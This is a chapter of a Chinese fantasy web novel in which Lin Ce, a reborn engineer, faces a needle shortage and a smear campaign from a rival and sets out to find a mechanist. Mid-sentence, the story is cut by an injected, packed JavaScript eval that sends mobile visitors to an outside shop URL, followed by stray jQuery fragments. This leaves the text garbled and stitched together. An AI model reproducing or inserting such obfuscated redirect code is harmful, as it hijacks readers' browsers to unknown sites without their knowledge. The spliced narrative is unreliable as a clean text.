护具试工成功的消息，就像长了翅膀一样传遍了落石村。
第二天，女人们抱着家里积攒多年的粗鞣皮和碎麻布，围在玛莎身边，想看看那些能让矿工少受伤的护具到底是怎么做出来的。
年轻矿工们则讨论着林策说过的“风道”，就等着林策拿出个方案，就准备动手挖。他们第一次发现，原来矿洞除了挖深之外，还可以被改变。
可这份兴奋并没有持续太久。很快，现实就像一盆冷水，浇在了所有人的头上。
“精钢缝针不够了。”玛莎捏着手里的几根缝针，脸色有些难看，“村里原本就没有多少能缝厚皮的针。昨天为了赶制样品，又断了两根。”
她将其中一根递给林策，针尖已经磨损得发钝，针身也有轻微弯曲。
“普通针穿不过鞣皮，硬缝容易留下裂口。护具最重要的是封边，如果这里漏了，之前做的东西就没有意义。”
林策接过来看了一眼，这确实是一个问题。
她原本想着先把工艺跑通，再逐步扩大生产，却忘了一件事，这里不是工厂，也不是她来的那个工业克苏鲁的国家。
这里没有库存，没有备用供应链，也没有随时可以买到的工具。
昨天能做出两套样品，已经是村里把能用的东西全部翻出来的结果。
老伍德坐在石阶上，沉默地抽了一口烟斗，辛辣的草药味和他带来的消息一样令人苦闷。
“还有别的。”他说。“黑石城那边的皮匠铺，今天没人愿意卖东西给我们。昨天晚上，吉姆的人挨家挨户去塞了钱，又说，谁敢卖针、卖刀具、卖皮革给落石村，就是跟他作对。”
有人忍不住骂了一句：“他凭什么？”
但骂完之后，却没人继续说话。
因为大家都知道，吉姆在黑石城经营了十几年，他或许不是最强的人，却认识足够多的人，一个村子想买几根针、几把刀，根本不值得商人为了他们得罪吉姆。
“还有消息说……”一个年轻矿工犹豫着开口，“吉姆的人在城里散播消息。他们说落石村出了一个东陆来的女巫，制造什么邪恶护具。说那些东西虽然能挡住黑泥，但是会把邪气留在身体里，最后让人的骨头和内脏一起腐烂。”他说得越来越小声，“现在，不仅没有行商敢收我们的黑泥，连周边的村子都对我们避之不及。”
院子里安静下来。
林策站在原地，没有马上回答。
她终于意识到，自己之前忽略了一件事。
她是解决了一个技术问题，但技术能不能变成成果，还需要有人愿意购买，需要工具，需要材料，需要运输。
而吉姆没有选择和她比护具，他直接让这件东西没办法再生产下去。
林策轻轻吐出一口气，她还是傲慢了。
这个世界的人，也许没有现代商业理论，但他们不是傻子，也不是游戏里的NPC，他们知道怎么保护自己的利益。
“那怎么办？”有人焦急地问，“总不能我们自己打铁吧？”
“村里连个铁匠都没有。”
“护具做不出来，黑泥也卖不出去……”
有人低声说：“要不……还是去跟吉姆谈谈？”
这句话刚出口，旁边的人就狠狠瞪了他一眼。但没有人反驳他，因为他们也想不出更好的办法了。
林策没有去责怪那个提出建议的人。这也正常，人在绝境里的第一反应，本来就是回到熟悉的道路。
哪怕那条路曾经伤害过自己。
“还有可能找到其他的工匠么？”她问老伍德，“不是有流浪商人么？那有没有流浪工匠之类的？”
老伍德皱眉想了一会儿：“工匠……附近倒是可能有一个。前些天有商队经过，说有个年轻机关师正在往黑石城方向走。”他说到这里，表情有些复杂，“不过那姑娘不好打交道。听说她以前把贵族家的炼金装置拆了，还说那东西设计得像废铁。很多商人都不愿意招惹她。”
林策愣了一下：“机关师？”
老伍德点点头：“她身边还跟着一个兽人。一个灰熊族的小伙子。”
“兽人力气大。”凯恩靠在墙边，懒洋洋地开口：“如果只是搬东西，倒确实能顶不少人。”
林策看了他一眼：“你关注的重点为什么永远这么奇怪？”
凯恩耸耸肩，当是默认。
“那我去找她。”林策拍了拍手，让众人的注意力重新集中起来，“大家先不要停工。皮革、麻布、木炭这些能准备的东西继续准备。工具的问题，我想办法解决。”
“这绝对不行！”老伍德立刻出声阻拦，“最近受瘴气影响，荒原上多了游荡的魔狼和野兽，你一位东陆的小姐独自前往太危险，要去也应该让村里的年轻人陪着去。”
“凯恩跟我去。”她转头看向凯恩，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821739|211153||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
反正已经雇了一个随时需要付双倍工资的保镖，再多一次也不算什么。
凯恩从石堆旁直起身子，单手拎起沉重的柴刀，懒散地打了个哈欠，“我听见了，雇主小姐。”
"听见什么？”
“你心里说我是保镖。”
林策微微一笑：“绝对是你的错觉。”
老伍德看了一眼这位黑眼圈青年。
昨天矿坑口那一幕，他这辈子都忘不了。那绝对不是普通佣兵的力量。
但奇怪的是，面对这样一个危险的人，他现在竟然没有之前那么害怕：“那就拜托两位了。”
下午。林策和凯恩离开落石村，往东北边的大路走去。
黑石城的商队大多会经过这里。
如果那位机关师真的往城里去，他们应该能遇上。
初冬的阳光落在荒原上，没有多少温度。风吹过枯黄的草地，卷起细碎的黑色砂砾。
林策走了一段路，忍不住停下来。
她低头看了一眼自己的身体，自言自语道：“这具身体真的需要锻炼。走这么点路居然开始累。”
她以前出差一天跑三个工厂，晚上还能整理会议纪要。现在就走了半个小时的路，居然已经想立刻坐下来了。这18岁少女的身体，还不如她以前那个33岁老阿姨的。
凯恩拎着她之前画图纸用的木板走在旁边：“你现在才发现？”
林策瞥他一眼：“我以前不是这样的。”
“嗯嗯。”凯恩点点头，“累了就在那棵树下休息。‘’他指了指前面的一棵老橡树，‘’按照老伍德说的，商队经过这里的概率最高。”
林策看他：“你什么时候开始认真做保镖工作了？”
“不是保镖。”凯恩纠正，“是佣兵。”
“有什么区别？”
“保镖负责保护雇主。”他顿了顿，“佣兵负责解决麻烦。”
两人在路边一棵老橡树下等了不到一个小时。
远处终于出现了一辆马车。
车轮压过荒土，发出缓慢的嘎吱声。
但让林策第一眼注意到的不是车上的人，而是车轮。
那不是普通马车的轮毂，外圈加装了铁箍，轮轴位置还有一组奇怪的小型缓冲结构。
这显然是一辆超出了一般商人会用的马车。
林策立刻站了起来。
应该就是了。